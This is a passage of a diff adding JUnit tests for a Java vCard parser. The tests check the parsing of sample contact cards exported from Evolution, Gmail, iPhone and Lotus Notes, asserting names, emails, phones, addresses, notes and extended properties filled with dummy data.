+			assertEquals("X-EVOLUTION-ASSISTANT", t.getTypeName());
+			assertEquals("Little Red", t.getValue());
+			assertFalse(it.hasNext());
+
+			it = vcard.getExtendedProperties("X-EVOLUTION-ANNIVERSARY").iterator();
+			t = it.next();
+			assertEquals("X-EVOLUTION-ANNIVERSARY", t.getTypeName());
+			assertEquals("1980-03-22", t.getValue());
+			assertFalse(it.hasNext());
+		}
+	}
+
+	@Test
+	public void gmailVCard() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("John_Doe_GMAIL.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("Mr. John Richter, James Doe Sr.", f.getValue());
+		}
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("Doe", f.getFamily());
+			assertEquals("John", f.getGiven());
+			assertEquals(Arrays.asList("Richter, James"), f.getAdditional());
+			assertEquals(Arrays.asList("Mr."), f.getPrefixes());
+			assertEquals(Arrays.asList("Sr."), f.getSuffixes());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("john.doe@ibm.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+			assertTrue(types.contains(new EmailTypeParameter("home")));
+
+			assertFalse(it.hasNext());
+		}
+
+		//TEL
+		{
+			Iterator<TelephoneType> it = vcard.getTelephoneNumbers().iterator();
+
+			TelephoneType f = it.next();
+			assertEquals("905-555-1234", f.getText());
+			Set<TelephoneTypeParameter> types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.CELL));
+
+			f = it.next();
+			assertEquals("905-666-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.HOME));
+
+			assertFalse(it.hasNext());
+		}
+
+		//ADR
+		{
+			Iterator<AddressType> it = vcard.getAddresses().iterator();
+
+			AddressType f = it.next();
+			assertEquals(null, f.getPoBox());
+			assertEquals("Crescent moon drive" + NEWLINE + "555-asd" + NEWLINE + "Nice Area, Albaney, New York12345" + NEWLINE + "United States of America", f.getExtendedAddress());
+			assertEquals(null, f.getStreetAddress());
+			assertEquals(null, f.getLocality());
+			assertEquals(null, f.getRegion());
+			assertEquals(null, f.getPostalCode());
+			assertEquals(null, f.getCountry());
+			Set<AddressTypeParameter> types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(AddressTypeParameter.HOME));
+
+			assertFalse(it.hasNext());
+		}
+
+		//ORG
+		{
+			OrganizationType f = vcard.getOrganization();
+			assertEquals(Arrays.asList("IBM"), f.getValues());
+		}
+
+		//TITLE
+		{
+			Iterator<TitleType> it = vcard.getTitles().iterator();
+
+			TitleType f = it.next();
+			assertEquals("Money Counter", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//BDAY
+		{
+			BirthdayType f = vcard.getBirthday();
+			Calendar c = Calendar.getInstance();
+			c.clear();
+			c.set(Calendar.YEAR, 1980);
+			c.set(Calendar.MONTH, Calendar.MARCH);
+			c.set(Calendar.DAY_OF_MONTH, 22);
+			assertEquals(c.getTime(), f.getDate());
+		}
+
+		//URL
+		{
+			Iterator<UrlType> it = vcard.getUrls().iterator();
+
+			UrlType f = it.next();
+			assertEquals("http://www.ibm.com", f.getValue());
+			Set<String> types = f.getSubTypes().getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains("WORK"));
+
+			assertFalse(it.hasNext());
+		}
+
+		//NOTE
+		{
+			Iterator<NoteType> it = vcard.getNotes().iterator();
+
+			NoteType f = it.next();
+			assertEquals("THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." + NEWLINE + "Favotire Color: Blue", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//extended types
+		{
+			assertEquals(6, countExtTypes(vcard));
+
+			RawType f = vcard.getExtendedProperties("X-PHONETIC-FIRST-NAME").get(0);
+			assertEquals("X-PHONETIC-FIRST-NAME", f.getTypeName());
+			assertEquals("Jon", f.getValue());
+
+			f = vcard.getExtendedProperties("X-PHONETIC-LAST-NAME").get(0);
+			assertEquals("X-PHONETIC-LAST-NAME", f.getTypeName());
+			assertEquals("Dow", f.getValue());
+
+			f = vcard.getExtendedProperties("X-ABDATE").get(0);
+			assertEquals("X-ABDATE", f.getTypeName());
+			assertEquals("1975-03-01", f.getValue());
+			assertEquals("item1", f.getGroup());
+
+			f = vcard.getExtendedProperties("X-ABLABEL").get(0);
+			assertEquals("X-ABLabel", f.getTypeName());
+			assertEquals("_$!<Anniversary>!$_", f.getValue());
+			assertEquals("item1", f.getGroup());
+
+			f = vcard.getExtendedProperties("X-ABLABEL").get(1);
+			assertEquals("X-ABLabel", f.getTypeName());
+			assertEquals("_$!<Spouse>!$_", f.getValue());
+			assertEquals("item2", f.getGroup());
+
+			f = vcard.getExtendedProperties("X-ABRELATEDNAMES").get(0);
+			assertEquals("X-ABRELATEDNAMES", f.getTypeName());
+			assertEquals("Jenny", f.getValue());
+			assertEquals("item2", f.getGroup());
+		}
+	}
+
+	/**
+	 * This vCard was generated when selecting a list of contacts and exporting
+	 * them as a vCard.
+	 */
+	@Test
+	public void gmailList() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("gmail-list.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("Arnold Smith", f.getValue());
+		}
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("Smith", f.getFamily());
+			assertEquals("Arnold", f.getGiven());
+			assertTrue(f.getAdditional().isEmpty());
+			assertTrue(f.getPrefixes().isEmpty());
+			assertTrue(f.getSuffixes().isEmpty());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("asmithk@gmail.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			assertFalse(it.hasNext());
+		}
+
+		vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("Chris Beatle", f.getValue());
+		}
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("Beatle", f.getFamily());
+			assertEquals("Chris", f.getGiven());
+			assertTrue(f.getAdditional().isEmpty());
+			assertTrue(f.getPrefixes().isEmpty());
+			assertTrue(f.getSuffixes().isEmpty());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("chrisy55d@yahoo.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			assertFalse(it.hasNext());
+		}
+
+		vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("Doug White", f.getValue());
+		}
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("White", f.getFamily());
+			assertEquals("Doug", f.getGiven());
+			assertTrue(f.getAdditional().isEmpty());
+			assertTrue(f.getPrefixes().isEmpty());
+			assertTrue(f.getSuffixes().isEmpty());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("dwhite@gmail.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			assertFalse(it.hasNext());
+		}
+
+		assertNull(reader.readNext());
+	}
+
+	@Test
+	public void gmailSingle() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("gmail-single.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("Greg Dartmouth", f.getValue());
+		}
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("Dartmouth", f.getFamily());
+			assertEquals("Greg", f.getGiven());
+			assertTrue(f.getAdditional().isEmpty());
+			assertTrue(f.getPrefixes().isEmpty());
+			assertTrue(f.getSuffixes().isEmpty());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("gdartmouth@hotmail.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			assertFalse(it.hasNext());
+		}
+
+		//TEL
+		{
+			Iterator<TelephoneType> it = vcard.getTelephoneNumbers().iterator();
+
+			TelephoneType f = it.next();
+			assertEquals("555 555 1111", f.getText());
+			Set<TelephoneTypeParameter> types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.CELL));
+
+			f = it.next();
+			assertEquals("item1", f.getGroup());
+			assertEquals("555 555 2222", f.getText());
+			types = f.getTypes();
+			assertTrue(types.isEmpty());
+
+			assertFalse(it.hasNext());
+		}
+
+		//ADR
+		{
+			Iterator<AddressType> it = vcard.getAddresses().iterator();
+
+			AddressType f = it.next();
+			assertEquals(null, f.getPoBox());
+			assertEquals(null, f.getExtendedAddress());
+			assertEquals("123 Home St" + NEWLINE + "Home City, HM 12345", f.getStreetAddress());
+			assertEquals(null, f.getLocality());
+			assertEquals(null, f.getRegion());
+			assertEquals(null, f.getPostalCode());
+			assertEquals(null, f.getCountry());
+			Set<AddressTypeParameter> types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(AddressTypeParameter.HOME));
+
+			f = it.next();
+			assertEquals("item2", f.getGroup());
+			assertEquals(null, f.getPoBox());
+			assertEquals(null, f.getExtendedAddress());
+			assertEquals("321 Custom St", f.getStreetAddress());
+			assertEquals("Custom City", f.getLocality());
+			assertEquals("TX", f.getRegion());
+			assertEquals("98765", f.getPostalCode());
+			assertEquals("USA", f.getCountry());
+			types = f.getTypes();
+			assertTrue(types.isEmpty());
+
+			assertFalse(it.hasNext());
+		}
+
+		//ORG
+		{
+			OrganizationType f = vcard.getOrganization();
+			assertEquals(Arrays.asList("TheCompany"), f.getValues());
+		}
+
+		//TITLE
+		{
+			Iterator<TitleType> it = vcard.getTitles().iterator();
+
+			TitleType f = it.next();
+			assertEquals("TheJobTitle", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//BDAY
+		{
+			BirthdayType f = vcard.getBirthday();
+			Calendar c = Calendar.getInstance();
+			c.clear();
+			c.set(Calendar.YEAR, 1960);
+			c.set(Calendar.MONTH, Calendar.SEPTEMBER);
+			c.set(Calendar.DAY_OF_MONTH, 10);
+			assertEquals(c.getTime(), f.getDate());
+		}
+
+		//URL
+		{
+			Iterator<UrlType> it = vcard.getUrls().iterator();
+
+			UrlType f = it.next();
+			assertEquals("http://TheProfile.com", f.getValue());
+			Set<String> types = f.getSubTypes().getTypes();
+			assertTrue(types.isEmpty());
+
+			assertFalse(it.hasNext());
+		}
+
+		//NOTE
+		{
+			Iterator<NoteType> it = vcard.getNotes().iterator();
+
+			NoteType f = it.next();
+			assertEquals("This is GMail's note field." + NEWLINE + "It should be added as a NOTE type." + NEWLINE + "ACustomField: CustomField", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//extended types
+		{
+			assertEquals(12, countExtTypes(vcard));
+
+			RawType f = vcard.getExtendedProperties("X-PHONETIC-FIRST-NAME").get(0);
+			assertEquals("X-PHONETIC-FIRST-NAME", f.getTypeName());
+			assertEquals("Grregg", f.getValue());
+
+			f = vcard.getExtendedProperties("X-PHONETIC-LAST-NAME").get(0);
+			assertEquals("X-PHONETIC-LAST-NAME", f.getTypeName());
+			assertEquals("Dart-mowth", f.getValue());
+
+			f = vcard.getExtendedProperties("X-ICQ").get(0);
+			assertEquals("X-ICQ", f.getTypeName());
+			assertEquals("123456789", f.getValue());
+
+			Iterator<RawType> abLabelIt = vcard.getExtendedProperties("X-ABLABEL").iterator();
+			{
+				f = abLabelIt.next();
+				assertEquals("item1", f.getGroup());
+				assertEquals("GRAND_CENTRAL", f.getValue());
+
+				f = abLabelIt.next();
+				assertEquals("item2", f.getGroup());
+				assertEquals("CustomAdrType", f.getValue());
+
+				f = abLabelIt.next();
+				assertEquals("item3", f.getGroup());
+				assertEquals("PROFILE", f.getValue());
+
+				f = abLabelIt.next();
+				assertEquals("item4", f.getGroup());
+				assertEquals("_$!<Anniversary>!$_", f.getValue());
+
+				f = abLabelIt.next();
+				assertEquals("item5", f.getGroup());
+				assertEquals("_$!<Spouse>!$_", f.getValue());
+
+				f = abLabelIt.next();
+				assertEquals("item6", f.getGroup());
+				assertEquals("CustomRelationship", f.getValue());
+
+				assertFalse(abLabelIt.hasNext());
+			}
+
+			f = vcard.getExtendedProperties("X-ABDATE").get(0);
+			assertEquals("item4", f.getGroup());
+			assertEquals("X-ABDATE", f.getTypeName());
+			assertEquals("1970-06-02", f.getValue());
+
+			f = vcard.getExtendedProperties("X-ABRELATEDNAMES").get(0);
+			assertEquals("item5", f.getGroup());
+			assertEquals("X-ABRELATEDNAMES", f.getTypeName());
+			assertEquals("MySpouse", f.getValue());
+
+			f = vcard.getExtendedProperties("X-ABRELATEDNAMES").get(1);
+			assertEquals("item6", f.getGroup());
+			assertEquals("X-ABRELATEDNAMES", f.getTypeName());
+			assertEquals("MyCustom", f.getValue());
+		}
+	}
+
+	@Test
+	public void iPhoneVCard() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("John_Doe_IPHONE.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+
+		//PRODID
+		{
+			ProdIdType f = vcard.getProdId();
+			assertEquals("-//Apple Inc.//iOS 5.0.1//EN", f.getValue());
+		}
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("Doe", f.getFamily());
+			assertEquals("John", f.getGiven());
+			assertEquals(Arrays.asList("Richter", "James"), f.getAdditional());
+			assertEquals(Arrays.asList("Mr."), f.getPrefixes());
+			assertEquals(Arrays.asList("Sr."), f.getSuffixes());
+		}
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("Mr. John Richter James Doe Sr.", f.getValue());
+		}
+
+		//NICKNAME
+		{
+			NicknameType f = vcard.getNickname();
+			assertEquals(Arrays.asList("Johny"), f.getValues());
+		}
+
+		//ORG
+		{
+			OrganizationType f = vcard.getOrganization();
+			assertEquals(Arrays.asList("IBM", "Accounting"), f.getValues());
+		}
+
+		//TITLE
+		{
+			Iterator<TitleType> it = vcard.getTitles().iterator();
+
+			TitleType f = it.next();
+			assertEquals("Money Counter", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("item1", f.getGroup());
+			assertEquals("john.doe@ibm.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+			assertTrue(types.contains(EmailTypeParameter.PREF));
+
+			assertFalse(it.hasNext());
+		}
+
+		//TEL
+		{
+			Iterator<TelephoneType> it = vcard.getTelephoneNumbers().iterator();
+
+			TelephoneType f = it.next();
+			assertEquals("905-555-1234", f.getText());
+			Set<TelephoneTypeParameter> types = f.getTypes();
+			assertEquals(3, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.CELL));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+			assertTrue(types.contains(TelephoneTypeParameter.PREF));
+
+			f = it.next();
+			assertEquals("905-666-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.HOME));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("905-777-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("905-888-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.HOME));
+			assertTrue(types.contains(TelephoneTypeParameter.FAX));
+
+			f = it.next();
+			assertEquals("905-999-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+			assertTrue(types.contains(TelephoneTypeParameter.FAX));
+
+			f = it.next();
+			assertEquals("905-111-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.PAGER));
+
+			f = it.next();
+			assertEquals("905-222-1234", f.getText());
+			assertEquals("item2", f.getGroup());
+			types = f.getTypes();
+			assertEquals(0, types.size());
+
+			assertFalse(it.hasNext());
+		}
+
+		//ADR
+		{
+			Iterator<AddressType> it = vcard.getAddresses().iterator();
+
+			AddressType f = it.next();
+			assertEquals("item3", f.getGroup());
+			assertEquals(null, f.getPoBox());
+			assertEquals(null, f.getExtendedAddress());
+			assertEquals("Silicon Alley 5,", f.getStreetAddress());
+			assertEquals("New York", f.getLocality());
+			assertEquals("New York", f.getRegion());
+			assertEquals("12345", f.getPostalCode());
+			assertEquals("United States of America", f.getCountry());
+			Set<AddressTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(AddressTypeParameter.HOME));
+			assertTrue(types.contains(AddressTypeParameter.PREF));
+
+			f = it.next();
+			assertEquals("item4", f.getGroup());
+			assertEquals(null, f.getPoBox());
+			assertEquals(null, f.getExtendedAddress());
+			assertEquals("Street4" + NEWLINE + "Building 6" + NEWLINE + "Floor 8", f.getStreetAddress());
+			assertEquals("New York", f.getLocality());
+			assertEquals(null, f.getRegion());
+			assertEquals("12345", f.getPostalCode());
+			assertEquals("USA", f.getCountry());
+
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(AddressTypeParameter.WORK));
+
+			assertFalse(it.hasNext());
+		}
+
+		//URL
+		{
+			Iterator<UrlType> it = vcard.getUrls().iterator();
+
+			UrlType f = it.next();
+			assertEquals("item5", f.getGroup());
+			assertEquals("http://www.ibm.com", f.getValue());
+			Set<String> types = f.getSubTypes().getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains("pref"));
+
+			assertFalse(it.hasNext());
+		}
+
+		//BDAY
+		{
+			BirthdayType f = vcard.getBirthday();
+			Calendar c = Calendar.getInstance();
+			c.clear();
+			c.set(Calendar.YEAR, 2012);
+			c.set(Calendar.MONTH, Calendar.JUNE);
+			c.set(Calendar.DAY_OF_MONTH, 6);
+			assertEquals(c.getTime(), f.getDate());
+		}
+
+		//PHOTO
+		{
+			Iterator<PhotoType> it = vcard.getPhotos().iterator();
+
+			PhotoType f = it.next();
+			assertEquals(ImageTypeParameter.JPEG, f.getContentType());
+			assertEquals(32531, f.getData().length);
+		}
+
+		//extended types
+		{
+			assertEquals(4, countExtTypes(vcard));
+
+			RawType f = vcard.getExtendedProperties("X-ABLABEL").get(0);
+			assertEquals("item2", f.getGroup());
+			assertEquals("X-ABLabel", f.getTypeName());
+			assertEquals("_$!<AssistantPhone>!$_", f.getValue());
+
+			f = vcard.getExtendedProperties("X-ABADR").get(0);
+			assertEquals("item3", f.getGroup());
+			assertEquals("X-ABADR", f.getTypeName());
+			assertEquals("Silicon Alley", f.getValue());
+
+			f = vcard.getExtendedProperties("X-ABADR").get(1);
+			assertEquals("item4", f.getGroup());
+			assertEquals("X-ABADR", f.getTypeName());
+			assertEquals("Street 4, Building 6,\\n Floor 8\\nNew York\\nUSA", f.getValue());
+
+			f = vcard.getExtendedProperties("X-ABLABEL").get(1);
+			assertEquals("item5", f.getGroup());
+			assertEquals("X-ABLabel", f.getTypeName());
+			assertEquals("_$!<HomePage>!$_", f.getValue());
+		}
+	}
+
+	@Test
+	public void lotusNotesVCard() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("John_Doe_LOTUS_NOTES.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+
+		//PRODID
+		{
+			ProdIdType f = vcard.getProdId();
+			assertEquals("-//Apple Inc.//Address Book 6.1//EN", f.getValue());
+		}
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("Doe", f.getFamily());
+			assertEquals("John", f.getGiven());
+			assertEquals(Arrays.asList("Johny"), f.getAdditional());
+			assertEquals(Arrays.asList("Mr."), f.getPrefixes());
+			assertEquals(Arrays.asList("I"), f.getSuffixes());
+		}
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("Mr. Doe John I Johny", f.getValue());
+		}
+
+		//NICKNAME
+		{
+			NicknameType f = vcard.getNickname();
+			assertEquals(Arrays.asList("Johny,JayJay"), f.getValues());
+		}
+
+		//ORG
+		{
+			OrganizationType f = vcard.getOrganization();
+			assertEquals(Arrays.asList("IBM", "SUN"), f.getValues());
+		}
+
+		//TITLE
+		{
+			Iterator<TitleType> it = vcard.getTitles().iterator();
+
+			TitleType f = it.next();
+			assertEquals("Generic Accountant", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("john.doe@ibm.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(3, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+			assertTrue(types.contains(new EmailTypeParameter("WORK")));
+			assertTrue(types.contains(EmailTypeParameter.PREF));
+
+			f = it.next();
+			assertEquals("billy_bob@gmail.com", f.getValue());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+			assertTrue(types.contains(new EmailTypeParameter("WORK")));
+
+			assertFalse(it.hasNext());
+		}
+
+		//TEL
+		{
+			Iterator<TelephoneType> it = vcard.getTelephoneNumbers().iterator();
+			TelephoneType f = it.next();
+			assertEquals("+1 (212) 204-34456", f.getText());
+			Set<TelephoneTypeParameter> types = f.getTypes();
+			assertEquals(3, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.CELL));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+			assertTrue(types.contains(TelephoneTypeParameter.PREF));
+
+			f = it.next();
+			assertEquals("00-1-212-555-7777", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+			assertTrue(types.contains(TelephoneTypeParameter.FAX));
+
+			assertFalse(it.hasNext());
+		}
+
+		//ADR
+		{
+			Iterator<AddressType> it = vcard.getAddresses().iterator();
+
+			AddressType f = it.next();
+			assertEquals("item1", f.getGroup());
+			assertEquals(null, f.getPoBox());
+			assertEquals(null, f.getExtendedAddress());
+			assertEquals("25334" + NEWLINE + "South cresent drive, Building 5, 3rd floo r", f.getStreetAddress());
+			assertEquals("New York", f.getLocality());
+			assertEquals("New York", f.getRegion());
+			assertEquals("NYC887", f.getPostalCode());
+			assertEquals("U.S.A.", f.getCountry());
+			assertNull(f.getLabel());
+
+			Set<AddressTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(AddressTypeParameter.HOME));
+			assertTrue(types.contains(AddressTypeParameter.PREF));
+
+			assertFalse(it.hasNext());
+		}
+
+		//NOTE
+		{
+			Iterator<NoteType> it = vcard.getNotes().iterator();
+
+			NoteType f = it.next();
+			assertEquals("THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"" + NEWLINE + "AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO , THE" + NEWLINE + "IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR P URPOSE" + NEWLINE + "ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTOR S BE" + NEWLINE + "LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR" + NEWLINE + "CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF" + NEWLINE + " SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS " + NEWLINE + "INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN" + NEWLINE + " CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)" + NEWLINE + "A RISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE" + NEWLINE + " POSSIBILITY OF SUCH DAMAGE.", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//URL
+		{
+			Iterator<UrlType> it = vcard.getUrls().iterator();
+
+			UrlType f = it.next();
+			assertEquals("item2", f.getGroup());
+			assertEquals("http://www.sun.com", f.getValue());
+			Set<String> types = f.getSubTypes().getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains("pref"));
+
+			assertFalse(it.hasNext());
+		}
+
+		//BDAY
+		{
+			BirthdayType f = vcard.getBirthday();
+			Calendar c = Calendar.getInstance();
+			c.clear();
+			c.set(Calendar.YEAR, 1980);
+			c.set(Calendar.MONTH, Calendar.MAY);
+			c.set(Calendar.DAY_OF_MONTH, 21);
+			assertEquals(c.getTime(), f.getDate());
+		}
+
+		//PHOTO
+		{
+			Iterator<PhotoType> it = vcard.getPhotos().iterator();
+
+			PhotoType f = it.next();
+			assertEquals(ImageTypeParameter.JPEG, f.getContentType());
+			assertEquals(7957, f.getData().length);
+
+			assertFalse(it.hasNext());
+		}
+
+		//UID
+		{
+			UidType f = vcard.getUid();
+			assertEquals("0e7602cc-443e-4b82-b4b1-90f62f99a199", f.getValue());
+		}
+
+		//GEO
+		{
+			GeoType f = vcard.getGeo();
+			assertEquals(-2.6, f.getLatitude(), .01);
+			assertEquals(3.4, f.getLongitude(), .01);
+		}
+
+		//CLASS
+		{
+			ClassificationType f = vcard.getClassification();
+			assertEquals("Public", f.getValue());
+		}
+
+		//PROFILE
+		{
+			ProfileType f = vcard.getProfile();
+			assertEquals("VCard", f.getValue());
+		}
+
+		//TZ
+		{
+			TimezoneType f = vcard.getTimezone();
+			assertIntEquals(1, f.getHourOffset());
+			assertIntEquals(0, f.getMinuteOffset());
+		}
+
+		//LABEL
+		{
+			Iterator<LabelType> it = vcard.getOrphanedLabels().iterator();
+
+			LabelType f = it.next();
+			assertEquals("John Doe" + NEWLINE + "New York, NewYork," + NEWLINE + "South Crecent Drive," + NEWLINE + "Building 5, floor 3," + NEWLINE + "USA", f.getValue());
+			Set<AddressTypeParameter> types = f.getTypes();
+			assertEquals(3, types.size());
+			assertTrue(types.contains(AddressTypeParameter.HOME));
+			assertTrue(types.contains(AddressTypeParameter.PARCEL));
+			assertTrue(types.contains(AddressTypeParameter.PREF));
+
+			assertFalse(it.hasNext());
+		}
+
+		//SORT-STRING
+		{
+			SortStringType f = vcard.getSortString();
+			assertEquals("JOHN", f.getValue());
+		}
+
+		//ROLE
+		{
+			Iterator<RoleType> it = vcard.getRoles().iterator();
+
+			RoleType f = it.next();
+			assertEquals("Counting Money", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//SOURCE
+		{
+			Iterator<SourceType> it = vcard.getSources().iterator();
+
+			SourceType f = it.next();
+			assertEquals("Whatever", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//MAILER
+		{
+			MailerType f = vcard.getMailer();
+			assertEquals("Mozilla Thunderbird", f.getValue());
+		}
+
+		//NAME
+		{
+			SourceDisplayTextType f = vcard.getSourceDisplayText();
+			assertEquals("VCard for John Doe", f.getValue());
